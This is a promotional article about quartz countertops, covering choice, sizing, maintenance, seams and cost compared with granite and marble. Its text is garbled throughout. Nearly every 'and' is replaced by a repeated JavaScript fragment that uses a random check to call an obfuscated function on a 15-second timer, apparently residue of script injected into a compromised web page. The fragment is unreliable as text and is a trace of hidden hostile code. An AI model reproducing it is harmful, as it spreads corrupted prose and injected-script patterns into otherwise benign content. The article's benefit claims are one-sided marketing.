Your countertop is the crown jewel of your kitchen. It’s the most prominent part of the room, from both a visual andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} functional perspective. It’s the first thing you’ll notice when you walk into the kitchen andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the part you’ll use the most daily.

When remodeling your kitchen, it’s important that you take the time to choose the best material for your countertop. It’s likely that your choice will heavily influence the rest of your project, from the backsplash to the appliances to the cabinets.

Countertops come in a staggering variety of materials colors andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} textures. There’s the rustic look of wooden butcher block andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the natural elegance of marble andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} granite. But a newer material is quickly becoming a market leader in the kitchen remodel space: quartz.

So, What is it?

Quartz, also known as engineered stone, is manufactured using a combination of crushed quartz, resin andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} coloring. It’s designed to replicate the look of natural stone.

Why is it Superior?

This material is superior to natural stone in almost every way. Here’s why:

  • Choice: Unlike natural stone, quartz is manufactured in dozens of different shades andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} textures. You can easily assess how the end result will look by comparing swatches in your kitchen. With granite andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} marble, you are restricted by the stone slab that you choose, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} it’s difficult to visualize how your slab will look when it’s installed.

  • Sizing is easy: Installation is far easier than granite. You can purchase the material by the foot andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} manufacture it exactly to your kitchen’s measurements. Granite andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} marble are sold in slabs, making it difficult to ensure a proper fit during installation.

  • Low maintenance: It’s also non-porous, which means you won’t have to worry about staining. If a nasty spill occurs, you can simply wipe your countertop off andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} no residue will be left behind.

  • Antibacterial: Its non-porous nature also makes it naturally antibacterial. You can cook comfortably knowing that you won’t have to deal with foodborne contaminants.

  • Less visible seams: Because quartz is manufactured precisely to your specifications, installers can easily hide seams. This is far more difficult with marble andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} granite.

  • Affordable: While quartz has a per-foot price that is comparable to granite andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} marble, the material is far more affordable in the long run. Imperfections in natural stone slabs andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} difficulties during installation can drive costs up significantly
